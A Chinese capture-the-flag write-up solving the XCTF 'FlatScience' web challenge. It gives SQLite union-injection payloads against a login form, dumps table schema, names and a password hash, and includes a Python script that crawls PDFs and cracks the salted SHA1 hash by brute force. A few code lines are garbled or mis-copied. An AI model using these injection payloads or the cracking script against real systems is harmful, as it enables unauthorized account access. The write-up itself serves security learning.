

xctf 攻防世界 FlatScience wp

原创

啊对对对呀  于 2020-03-08 22:50:30 发布  591  收藏 3

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本文链接：https://blog.csdn.net/qq_43054896/article/details/104741052

版权

一、dirsearch 扫目录

```
python dirsearch.py -u URL -e *
```

```
[15:06:22] 200 - 757B - /admin.php
[15:06:38] 200 - 1023B - /index.html
[15:06:40] 200 - 833B - /login.php
[15:06:46] 200 - 61B - /robots.txt
[15:06:47] 403 - 305B - /server-status/
[15:06:47] 403 - 304B - /server-status
```

二、查看正常响应的链接和源码

admin.php 有登录框，注入只有Nono! Stahp?!

Admin-Panel

ID:

Password:

Nono! Stahp?!

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login.php 也有登录框，逻辑注入就跳转了，说明是存在注入的

Login

Login Page, do not try to hax here ploX!

ID:

Password:

Submit

Flux Horst (Flux dot Horst at rub dot flux)

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输入 admin' order by 3 #, 出现报错, 是sqlite数据库:

Warning: SQLite3::query(): Unable to prepare statement: 1, unrecognized token: "#" in /var/www/html/login.php on line 47

查看页面源码, 提示去 URL?debug 页面:

```
35 \ / 10111 /
36
37 <!-- TODO: Remove ?debug-Parameter! -->
38
```

debug页面出现源码, 给出了查询语句且没有过滤, 密码连接字符串"Salz"后经过sha1加密:

```
<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
    $user = $_POST['usr'];
    $pass = $_POST['pw'];

    $db = new SQLite3('../fancy.db');

    $res = $db->query("SELECT id,name from Users where name='". $user.'" and password='". sha1($pass."Salz!")."'");
    if($res){
        $row = $res->fetchArray();
    }
    else{
        echo "<br>Some Error occurred!";
    }

    if(isset($row['id'])){
        setcookie('name', ' '.$row['name'], time() + 60, '/');
        header("Location: /");
        die();
    }
}

if(isset($_GET['debug']))
highlight_file('login.php');
?>
<!-- TODO: Remove ?debug-Parameter! -->
```

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三、注入

burpsuite抓包，查看上传数据的形式，进行注入：

```
Gecko/20100101 Firefox/73.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
Origin: http://111.198.29.45:58804
Connection: close
Referer: http://111.198.29.45:58804/login.php?debug
Upgrade-Insecure-Requests: 1
```

```
usr=' union select name,sql from sqlite_master --+&pw=1
```

```
X-Powered-By: PHP/5.6.30
Set-Cookie:
name=+CREATE+TABLE+Users%28id+int+primary+key%2Cname+varchar%28255%29%2Cpassword+varchar%28255%29%2Chint+varchar%28255%29%29; expires=Sun, 08-Mar-2020 13:50:11 GMT; Max-Age=60; path=/
Location: /
Content-Length: 699
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">

<html>
<head>
<style>
```

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从大佬哪里学到了点sqlite注入：

```
usr=' union select name,sql from sqlite_master --+&pw=1
```

响应包返回了set-cookie的数据，URL解码后就是，可以看到表名和列名：

```
CREATE TABLE Users(
id int primary key,
name varchar(255),
password varchar(255),
hint varchar(255)
)
```

```
usr=' union select id,name from Users --+&pw=1
```

返回：name=admin

```
usr=' union select name,sql from sqlite_master --+&pw=1
```

返回：name=+3fab54a50e770d830c0416df817567662a9dc85c

```
usr=' union select name,hint from Users --+&pw=1
```

返回：name=myfavwordinmyfavpaper%3F%21

注入出来的内容并没有flag，只有提示 my fav word in my fav paper，密码在PDF文件中，就是需要下载PDF文件，提取其中的字词，逐一连接"Salz"再进行sha1加密，对比注入得到的哈希值，找出登录的password

四、下载文件、提取字词

大佬下载PDF的时候用了wget递归下载，真是没想到

wget递归下载：wget xxx.com -r -np -nd -A .pdf

```
-r: 层叠递归处理
-np: 不向上 (url 路径) 递归
-nd: 不创建和 web 网站相同 (url 路径) 的目录结构
-A type: 文件类型
```

这里记录一下PDF文字提取的代码，网上大多数的提取代码都比较复杂，导入一堆库，文字识别也不是很准确，pdfplumber库比较好用，代码也很简洁，PDF表格内的文字也可以提取 (python 3.7)

```
#!/usr/bin/python
# coding = utf-8
import hashlib
import re
import os
```

```

import pdfplumber
import requests
from bs4 import BeautifulSoup

# 递归爬取URL
def get_url(url):
    try:
        r = requests.get(url)
        r.raise_for_status()
        soup = BeautifulSoup(r.text, 'html.parser')
        tag_a_lst = soup.find_all('a')
        link_set = set()
        for i in tag_a_lst:
            if ('../..' not in i['href']) and \
                ('8/index' not in i['href']) :
                # 去掉 URL 中的'index.html'
                href = url[:-10] + i['href']
                link_set.add(href)
                if ('pdf' not in href) and \
                    (i['href'] != 'index.html'):
                    link_set.update(get_url(href))
                    link_set.discard(href)
        return link_set
    except:
        print('get url error')
        return {}

# 下载PDF文件
def download(url, path):
    save_path = path + url.split('/')[-1]
    try:
        r = requests.get(url)
        r.raise_for_status()
        with open(save_path, 'wb') as file:
            file.write(r.content)
            file.close()
    except:
        print('download error')

# PDF文字提取到txt文件
def pdf_to_txt(pdf_file, txt_file):
    try:
        pdf = pdfplumber.open(pdf_file)
        with open(txt_file, 'w+', encoding='UTF-8') as file:
            for page in pdf.pages:
                # 逐页提取文字
                contents = page.extract_text()
                file.write(contents)
            file.close()
        pdf.close()
    except:
        print('convert error')

def main():
    url = 'http://111.198.29.45:31745/index.html'
    root = 'D:/pdf_download/'
    link_lst = get_url(url)
    for link in link_lst:
        download(link, root)
    file_lst = os.listdir(root)
    r = re.compile('[\w]+')
```

```
! - re.compile('[\w]+')

for i in range(1, len(file_lst)):
    pdf_file = root + file_lst[i-1]
    txt_file = root+'txt/%d.txt'%i
    pdf_to_txt(pdf_file, txt_file)

    with open(txt_file, 'r', encoding='utf-8') as file:
        f = file.read()
    words_lst = r.findall(f)
    for j in words_lst:
        pw = j + "Salz!"
        encode = hashlib.sha1(pw.encode('utf-8')).hexdigest()
        if encode == "3fab54a50e770d830c0416df817567662a9dc85c":
            print("password is :", j)
            break

if __name__ == '__main__':
    main()
```

跑出来: ThinJerboa

用此密码登录admin.php 即可获得flag

参考:

<https://soapffz.com/6.html>

<https://www.cnblogs.com/gj1573/p/10064438.html>